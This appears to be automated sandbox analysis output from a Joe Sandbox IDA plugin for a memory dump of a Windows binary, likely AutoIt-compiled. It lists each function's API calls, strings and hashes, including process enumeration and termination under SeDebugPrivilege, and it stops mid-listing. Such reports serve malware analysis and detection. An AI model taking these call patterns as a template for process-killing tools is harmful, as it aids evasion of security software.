Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: f3729a2411a822b5660c9290ac5975a35eb63dbe1e2289509019801618d7d5ee
Instruction ID: aadd33f229d9ee95b329cb83597e25192174aed9aff3668e8486854835b64916
Opcode Fuzzy Hash: f3729a2411a822b5660c9290ac5975a35eb63dbe1e2289509019801618d7d5ee
Instruction Fuzzy Hash: AE01D431390724BBFB1067689C8AF593F99FB5EB12F100016F318EE1D1C9E624848E6A

Function 00821803 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00821449,?,?,00000000), ref: 0082180C
HeapAlloc.KERNEL32(00000000,?,00821449,?,?,00000000), ref: 00821813
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00821449,?,?,00000000), ref: 00821828
GetCurrentProcess.KERNEL32(?,00000000,?,00821449,?,?,00000000), ref: 00821830
DuplicateHandle.KERNEL32(00000000,?,00821449,?,?,00000000), ref: 00821833
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00821449,?,?,00000000), ref: 00821843
GetCurrentProcess.KERNEL32(00821449,00000000,?,00821449,?,?,00000000), ref: 0082184B
DuplicateHandle.KERNEL32(00000000,?,00821449,?,?,00000000), ref: 0082184E
CreateThread.KERNEL32(00000000,00000000,00821874,00000000,00000000,00000000), ref: 00821868

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 21d88d27ecd1774a3c9566dddd3e4035c028c4a0abdc300d2e6ac9c4a8c947a1
Instruction ID: c9b630d17981d7986f3ee78d21fa1528d1a997e1db6ebe5b7e38d34d8272e93c
Opcode Fuzzy Hash: 21d88d27ecd1774a3c9566dddd3e4035c028c4a0abdc300d2e6ac9c4a8c947a1
Instruction Fuzzy Hash: 9101A8B5680708BFEA10ABA5DC4DF6B7BACFB89B11F404411FA05DB2A1CA749844CF20

Function 007F3E80 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 007F3F0B
__alldvrm.LIBCMT ref: 007F410C
__alldvrm.LIBCMT ref: 007F412E

Strings

}}~, xrefs: 007F3E8A
}}~, xrefs: 007F40CD
}}~, xrefs: 007F3E96, 007F3EF1, 007F3F0A, 007F4090

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID: }}~$}}~$}}~
API String ID: 1036877536-980401515
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: a83b395225473955e3d6d073bf53ac8486c36a11e46acbf9b6e35fe3aeecbd3d
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 60A12672E0028E9FEB25CE18C8917BFBBE4EF65350F1441ADE6959B382D63C8981C751

Function 0084A0E2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 0082D4DC: CreateToolhelp32Snapshot.KERNEL32 ref: 0082D501
Part of subcall function 0082D4DC: Process32FirstW.KERNEL32(00000000,?), ref: 0082D50F
Part of subcall function 0082D4DC: CloseHandle.KERNELBASE(00000000), ref: 0082D5DC

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0084A16D
GetLastError.KERNEL32 ref: 0084A180
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0084A1B3
TerminateProcess.KERNEL32(00000000,00000000), ref: 0084A268
GetLastError.KERNEL32(00000000), ref: 0084A273
CloseHandle.KERNEL32(00000000), ref: 0084A2C4

Strings

SeDebugPrivilege, xrefs: 0084A18F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 3d50e788c1d241437e0306e1f1a0f049242570a791d93239aac55aa6f36ccab7
Instruction ID: eb6881e024c5b5ab7fe1706f7e8a1a05c455af64474c84fd168dcbb4e315c2f8
Opcode Fuzzy Hash: 3d50e788c1d241437e0306e1f1a0f049242570a791d93239aac55aa6f36ccab7
Instruction Fuzzy Hash: DD617B312442569FD724DF18C498F2ABBA1FF54318F18848CE4668F7A2C7B6ED45CB92

Function 00853886 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00853925
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 0085393A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00853954
_wcslen.LIBCMT ref: 00853999
SendMessageW.USER32(?,00001057,00000000,?), ref: 008539C6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 008539F4

Strings

SysListView32, xrefs: 008538F7

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: b142457c139606c6a6d2d2ea0a80a6bf664eb0ea376de8e8074874bbc543a112
Instruction ID: cd63969a9a7897e7bf89b5248c65ba31ff5ede642a17bae90bea9d0bfb493fb5
Opcode Fuzzy Hash: b142457c139606c6a6d2d2ea0a80a6bf664eb0ea376de8e8074874bbc543a112
Instruction Fuzzy Hash: 21419571A00319ABEF219F64CC49FEA7BA9FF08395F10052AF954E7281D7759E84CB90

Function 0082BC5E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0082BCFD
IsMenu.USER32(00000000), ref: 0082BD1D
CreatePopupMenu.USER32 ref: 0082BD53
GetMenuItemCount.USER32(01084AA8), ref: 0082BDA4
InsertMenuItemW.USER32(01084AA8,?,00000001,00000030), ref: 0082BDCC

Strings

2, xrefs: 0082BD37
0, xrefs: 0082BCA8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: f82b0dd104e58dfa16f17663b70b7898024c85092ba4fa8c7d1fbc892f06d1dd
Instruction ID: de5a772d43b379bae56b7f94c523db56320e00e86f5ed700f302b2e3eb224c78
Opcode Fuzzy Hash: f82b0dd104e58dfa16f17663b70b7898024c85092ba4fa8c7d1fbc892f06d1dd
Instruction Fuzzy Hash: BD51AD70A02329ABDB10CFA8E888BEEBBF4FF45354F148159E851D72D1E7749981CB61

Function 007E2D20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 007E2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 007E2D53
_ValidateLocalCookies.LIBCMT ref: 007E2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 007E2E0C
_ValidateLocalCookies.LIBCMT ref: 007E2E61

Strings

&H~, xrefs: 007E2DFE, 007E2E07, 007E2E18
csm, xrefs: 007E2DF6

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: &H~$csm
API String ID: 1170836740-3418752573
Opcode ID: c887d400749ae42c76fbd2a13e09c8f693649b1686cb1ccf9b9b6a8468c5c748
Instruction ID: d0d074d5457f3f40d52769fed0f9e79a1335d4f8535167e878daac8cc9d822c1
Opcode Fuzzy Hash: c887d400749ae42c76fbd2a13e09c8f693649b1686cb1ccf9b9b6a8468c5c748
Instruction Fuzzy Hash: CE41A934E02249EBCF10DF59CC49A9EBBB9BF48314F148155E9149B353D7799A12CB90

Function 0082C874 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 0082C913

Strings

warning, xrefs: 0082C8FC
blank, xrefs: 0082C895
info, xrefs: 0082C8B4
question, xrefs: 0082C8CC
stop, xrefs: 0082C8E4

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 0a87fa9c2af5e981d1ae4a9c41bbbb56ffa1539d5d091f14587f66eeffc7ca9d
Instruction ID: 72d82e15cff4d987e9a9eb35d4323dcf661ae38b10df57d546cd7a208b041e17
Opcode Fuzzy Hash: 0a87fa9c2af5e981d1ae4a9c41bbbb56ffa1539d5d091f14587f66eeffc7ca9d
Instruction Fuzzy Hash: 26112E3168931ABAE7006B54AC82CBE2B9CFF15324B50403AF500E6281E7A85DC05768

Function 0082DE27 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 0082DE42
gethostname.WSOCK32(?,00000100), ref: 0082DE5C
gethostbyname.WSOCK32(?), ref: 0082DE69
inet_ntoa.WSOCK32(?), ref: 0082DEAB
_strcat.LIBCMT ref: 0082DEB9
WSACleanup.WSOCK32 ref: 0082DEDE

Strings

0.0.0.0, xrefs: 0082DE87

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: 8b8bcb2da87a7205d0223d12248a28aac8cba3d0e9c9de4124c23581ec44ea15
Instruction ID: 374c53dbccb141e0e47bca5ee0d0986e0abd7cdd1003c043b6f4acb88e568464
Opcode Fuzzy Hash: 8b8bcb2da87a7205d0223d12248a28aac8cba3d0e9c9de4124c23581ec44ea15
Instruction Fuzzy Hash: 1B110A75904318AFDB20BB64AC0ADEE7B6CFF18711F0101B9F445EA091EF789AC18A60

Function 0082ED19 Relevance: 12.1, APIs: 8, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0082ED2A
_wcslen.LIBCMT ref: 0082ED3B
_wcslen.LIBCMT ref: 0082ED79
_wcslen.LIBCMT ref: 0082EDAF
_wcslen.LIBCMT ref: 0082EDDF
_wcslen.LIBCMT ref: 0082EDEF
_wcslen.LIBCMT ref: 0082EE2B
_wcslen.LIBCMT ref: 0082EE5A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$LocalTime
String ID:
API String ID: 952045576-0
Opcode ID: 0e78d5b186ef999d215e9c1f8564f774860e72f32d783fecbb2b65b12c7c2029
Instruction ID: 7f4806df5adaee17ab1fc8458681e8bf1a51d50b100a644447daaaabd71efa52
Opcode Fuzzy Hash: 0e78d5b186ef999d215e9c1f8564f774860e72f32d783fecbb2b65b12c7c2029
Instruction Fuzzy Hash: F1417266C11258B5CB11EBF5888E9CF77ACFF49710F504462E614E3122EB38E655C3E9

Function 007DF8D8 Relevance: 12.1, APIs: 8, Instructions: 124COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0081682C,00000004,00000000,00000000), ref: 007DF953
ShowWindow.USER32(FFFFFFFF,00000006,?,00000000,?,0081682C,00000004,00000000,00000000), ref: 0081F3D1
ShowWindow.USER32(FFFFFFFF,000000FF,?,00000000,?,0081682C,00000004,00000000,00000000), ref: 0081F454

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 5d780a9bbb6da38b4795f5aa586e4318f437b26760a907e593e278b97cc8f049
Instruction ID: a2eac427a6189a2d23532ce8322ffced11f0765e2d626d7494f752f314a3e708
Opcode Fuzzy Hash: 5d780a9bbb6da38b4795f5aa586e4318f437b26760a907e593e278b97cc8f049
Instruction Fuzzy Hash: 3A410870A08780BECB399B2D88A876A7AB5FF55314F14403EE18BD6761C639B8C0CB11

Function 00852D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00852D1B
GetDC.USER32(00000000), ref: 00852D23
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00852D2E
ReleaseDC.USER32(00000000,00000000), ref: 00852D3A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00852D76
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00852D87
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00855A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00852DC2
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00852DE1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 43ae84b9a0ef33d9f480f669aefe49aaa1e490f0b73ea10f39db50510924932a
Instruction ID: 465d927982271e0990244e69a0d33e4a28c51290bed385fb4df16cd2400b1a87
Opcode Fuzzy Hash: 43ae84b9a0ef33d9f480f669aefe49aaa1e490f0b73ea10f39db50510924932a
Instruction Fuzzy Hash: 60316B72201714BFEB118F548C8AFEB3FA9FB1A756F044055FE08DA291C6799C50CBA4

Function 00825622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00825637
_memcmp.LIBVCRUNTIME ref: 00825659
_memcmp.LIBVCRUNTIME ref: 00825671
_memcmp.LIBVCRUNTIME ref: 00825684
_memcmp.LIBVCRUNTIME ref: 0082569E
_memcmp.LIBVCRUNTIME ref: 008256B1
_memcmp.LIBVCRUNTIME ref: 008256C9
_memcmp.LIBVCRUNTIME ref: 008256E4

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 1bc43a31db38b938d5118ffc1f2be9829304ac0af1234a49ead3301be2818235
Instruction ID: a538a66cb5c5f305e6b1a26f352b1248adce2ce722fa71f30ce33d0e3e3af508
Opcode Fuzzy Hash: 1bc43a31db38b938d5118ffc1f2be9829304ac0af1234a49ead3301be2818235
Instruction Fuzzy Hash: 5321B371AC2A69BBD2149525AE82FBB235CFF34395F840030FE05DA686F738ED5481A5

Function 00844FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00845007
NULL Pointer assignment, xrefs: 0084502E, 00845383

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 2b99fc7ffede0469337e864967f07a15f621e4064c34fab105a1f2db408046e4
Instruction ID: 9f11ed61effe3b1202cb7047dc3749c7ef5e5d2999bcd30fffd3d6591bbfc6b6
Opcode Fuzzy Hash: 2b99fc7ffede0469337e864967f07a15f621e4064c34fab105a1f2db408046e4
Instruction Fuzzy Hash: 99D18C75A0061EAFDB10CFA8C881BAEB7B5FF48344F148469E915EB282E771DD45CB90

Function 00801522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,008017FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 008015CE
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,008017FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00801651
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,008017FB,?,008017FB,00000000,00000000,?,00000000,?,?,?,?), ref: 008016E4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,008017FB,00000000,00000000,?,00000000,?,?,?,?), ref: 008016FB

Part of subcall function 007F3820: RtlAllocateHeap.NTDLL(00000000,?,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6,?,007C1129), ref: 007F3852

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,008017FB,00000000,00000000,?,00000000,?,?,?,?), ref: 00801777
__freea.LIBCMT ref: 008017A2
__freea.LIBCMT ref: 008017AE

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
String ID:
API String ID: 2829977744-0
Opcode ID: 6340e59447d84d55aa3d9393bb76f65ac0c3860d81051305e6a9022f30376dd6
Instruction ID: bb0c76376fce074beb8107cf584df1b6695a30720795a44aae83973b680ad5b2
Opcode Fuzzy Hash: 6340e59447d84d55aa3d9393bb76f65ac0c3860d81051305e6a9022f30376dd6
Instruction Fuzzy Hash: 02919472E0021A9EDF608E64CC89AFE7BB5FF49724F184659E911EB2C5DB25DC40CB60

Function 00844523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00844648
VariantInit.OLEAUT32(?), ref: 00844749
VariantClear.OLEAUT32(?), ref: 00844753
VariantClear.OLEAUT32(?), ref: 008447B0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0084472C
Null Object assignment in FOR..IN loop, xrefs: 008445D8, 00844706, 008447BE

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2610073882-625585964
Opcode ID: 7220212eb6e82733bbe1caa00f41663981f5536073eac1cc5cf4281dcb02ee15
Instruction ID: 5498833e78a6addc9177ad3ab499107db2c898db1db8898972eca4d579306ca4
Opcode Fuzzy Hash: 7220212eb6e82733bbe1caa00f41663981f5536073eac1cc5cf4281dcb02ee15
Instruction Fuzzy Hash: 80918971A0021DABDF20CFA4C888FAEBBB8FF46714F109559E515EB281D7749946CFA0

Function 00831187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0083125C
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00831284
SafeArrayUnaccessData.OLEAUT32(00000001), ref: 008312A8
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 008312D8
